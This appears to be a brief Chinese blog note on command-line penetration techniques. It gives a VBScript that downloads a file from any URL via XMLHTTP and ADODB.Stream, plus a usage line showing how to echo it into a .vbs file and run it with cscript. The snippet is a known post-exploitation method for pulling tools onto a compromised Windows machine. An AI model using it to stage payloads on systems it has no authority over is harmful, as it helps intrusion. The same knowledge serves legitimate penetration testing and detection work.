Loading

cmd 渗透.md

cmd 渗透

下载文件

vbs

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

使用

echo ‘....’ > file.vbs

cscript file.vbs [url] [dest_file]

posted @ 2022-05-28 17:40  nsfoxer  阅读(34)  评论(0编辑  收藏  举报